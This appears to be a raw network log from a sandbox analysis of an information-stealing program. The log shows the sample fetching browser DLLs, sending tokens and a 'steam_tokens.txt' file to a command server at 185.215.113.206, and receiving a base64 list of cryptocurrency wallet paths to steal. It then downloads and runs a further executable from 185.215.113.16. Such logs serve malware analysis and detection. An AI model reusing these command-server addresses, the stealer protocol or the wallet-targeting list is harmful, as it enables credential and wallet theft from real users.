Nov 17, 2024 03:42:35.994662046 CET	1236	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1
Nov 17, 2024 03:42:35.994685888 CET	1236	IN	Data Raw: c4 08 c7 47 08 01 00 00 00 57 e8 3a fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 Data Ascii: GW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjW
Nov 17, 2024 03:42:35.994707108 CET	1236	IN	Data Raw: 00 89 c6 8b 45 0c 05 00 ff ff ff 3d 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb Data Ascii: E=s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>f
Nov 17, 2024 03:42:35.994728088 CET	1236	IN	Data Raw: dc 89 7d e4 89 c8 31 c9 ba 00 00 00 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef Data Ascii: }1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffp
Nov 17, 2024 03:42:35.995384932 CET	1236	IN	Data Raw: d8 00 0f 84 03 02 00 00 89 5d dc 89 d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff Data Ascii: ]E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEM
Nov 17, 2024 03:42:35.995467901 CET	772	IN	Data Raw: da 89 d8 81 f6 ab d9 83 1f 81 f2 6b bd 41 fb 89 f3 81 c3 2b f8 94 fe 89 5d ec 89 d7 81 d7 72 f3 6e 3c 89 7d e0 33 9d d0 fe ff ff 33 bd d4 fe ff ff 89 d9 0f a4 f9 08 0f a4 df 08 89 bd 48 ff ff ff 8b 9d 74 ff ff ff 8b 7b 28 89 bd fc fe ff ff 01 f8 Data Ascii: kA+]rn<}33Ht{({,]HE]11EuUUuu11UHtF00Qv4,AA8UA
Nov 17, 2024 03:42:39.077619076 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:39.361428022 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 17, 2024 03:42:41.084315062 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:41.368000031 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 17, 2024 03:42:42.275104046 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:42.558432102 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 17, 2024 03:42:44.559032917 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:44.842566967 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 17, 2024 03:42:45.206485987 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:45.503895044 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 17, 2024 03:42:46.320200920 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 03:42:47.105369091 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:47.189824104 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="message"wallets------GIEBAECAKKFCBFIEGCBK--
Nov 17, 2024 03:42:47.475430012 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 17, 2024 03:42:47.489398003 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 2d 2d 0d 0a Data Ascii: ------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="message"files------GDBFHDHJKKJDHJJJJKEG--
Nov 17, 2024 03:42:47.775057077 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:47.788062096 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="file"------HJJDGHCBGDHIECBGIDAE--
Nov 17, 2024 03:42:48.818922043 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:48.861869097 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="message"ybncbhylepme------CBFCFBFBFBKFIDHJKFCA--
Nov 17, 2024 03:42:49.149735928 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49957	185.215.113.16	80	5908	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:42:49.159609079 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 17, 2024 03:42:50.051975012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 02:42:49 GMT Content-Type: application/octet-stream Content-Length: 3309056 Last-Modified: Sun, 17 Nov 2024 02:27:05 GMT Connection: keep-alive ETag: "67395479-327e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 